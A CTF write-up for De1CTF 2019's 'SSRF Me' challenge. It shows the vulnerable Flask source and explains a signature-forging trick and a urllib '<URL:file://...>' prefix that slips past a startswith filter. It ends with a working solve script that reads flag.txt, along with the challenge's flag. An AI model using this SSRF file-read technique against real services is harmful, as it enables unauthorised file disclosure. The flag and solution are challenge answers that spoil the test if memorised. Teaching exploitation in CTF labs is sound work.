De1CTF - SSRF Me Writeup (2019)
UPDATE: This writeup was hidden since 2019 due to the solution used. It was only recently where I released a CTF challenge using the same solution. Since it was solved, I decided that this writeup should resurface.
Given the source file:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False app.run(host='0.0.0.0',port=80)
To cut things short on how this "application" works, you will first provide a URL to /getSign to get contents of that URL, and using that signature, use it at the /De1ta to read the contents. Easy right? But there are some hurdles to overcome.
We will need to find a way to bypass the checks for read file signature and also the waf() function.
Our goal is to leak the ./flag.txt file. There are many ways to do this, while I did it the "longer" way, there is a shorter way to leak it once the waf() function is bypassed.
At the /geneSign route, we see that it takes in a URL with GET variables and processes it at the getSign() function. This will generate a signature, it will be validated when using the /De1ta route.
However, we only can generate actions which are scan. We will not be able to generate a read action. But examining the Exec() function closely, it is apparent that the if/else statements checks if the keywords are IN the URL given.
So given the following URL:
http://139.180.128.86/geneSign?param=http://google.comreadand
The signature will be constructed as such by getSign():
return hashlib.md5(secert_key + param + action).hexdigest().
SECRET_KEY + "http://google.comreadand" + "scan" = "SECRET_KEYhttp://google.comreadandscan"
So the signature will be generated with inputs we control which can be used at /De1ta to trigger actions of both read and scan.
This will then give us a valid signature, and it can be used to trigger read and scan because in the subsequent action, the action payload sent will contain both read and scan keywords which will trigger the if else statements!
Next, we have to bypass the if check.startswith("gopher") or check.startswith("file"): check. Well, it is pretty simple. Just use flag.txt and thats it! But... I kind of overthink? I went on to look at how urllib actually parses URLs...
In urllib, there is a function called unwrap which is called by the urllib parser. https://kite.com/python/docs/urllib.unwrap
Essentially, <URL:scheme://host/path> will be converted into scheme://host/path. With this, we can bypass the "starts with" mechanism used by the waf() function. (Note: This works with urllib2 as well)
And here is the solve script!
import requests
payload = "<URL:file:///proc/self/cwd/flag.txt>readand"
payload_two = "<URL:file:///proc/self/cwd/flag.txt>"
a = requests.get("http://139.180.128.86/geneSign?param="+payload)
print a.text
cookies = {'action': 'readandscan',
'sign':a.text}
r = requests.post('http://139.180.128.86/De1ta?param='+payload_two, cookies=cookies)
print r.text
45c6325c3166748e875137554ad72d6e
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}
Credits to https://lord.idiot.sg/ for the late night discussion on the challenge! Check out his site for awesome write ups too!